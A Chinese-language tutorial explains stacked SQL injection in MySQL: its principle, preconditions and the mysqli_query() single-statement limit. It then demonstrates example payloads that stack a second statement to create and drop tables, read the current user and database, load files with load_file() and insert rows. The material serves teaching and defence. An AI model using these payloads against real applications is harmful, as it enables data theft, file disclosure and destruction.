目录
一、简介
概述:
原理:
优势
前提:
防护:
二、分析堆叠注入
使用MYSQL
第一步:使用堆叠查询构造多条语句
第二步:查看语句是否成功执行
第三步:删除test,再查询
第四步:执行其它查询语句
一、简介
概述:
顾名思义,就是多条语句堆叠在一起注入
原理:
将多条语句堆叠在一起进行查询,且可以执行多条SQL语句
语句之间以分号(;)隔开,其注入攻击就是利用此特点,在第二条语句中构造payload
优势
联合查询union也可拼接语句(有局限性)
但是堆叠注入能注入任意语句
前提:
有注入点:即存在sql注入漏洞
未过滤:即未对";"号进行过滤
未禁用:即未禁止执行多条sql语句
防护:
利用mysqli_multi_query()函数就支持多条sql语句同时执行
但实际情况中,PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行
二、分析堆叠注入
使用MYSQL
第一步:使用堆叠查询构造多条语句
select * from users where id=1;create table test like users;
第二步:查看语句是否成功执行
show tables;
第三步:删除test,再查询
select * from users where id=1;drop table test;
show tables;
(被成功执行了)
第四步:执行其它查询语句
查数据库当前用户,版本
select * from user where id=1;select 1,user(),database();
加载文件
select * from user where id=1;select load_file('文件路径');
修改数据
select * from user where id=1;insert into user(username,password) values ('好好学习','123456');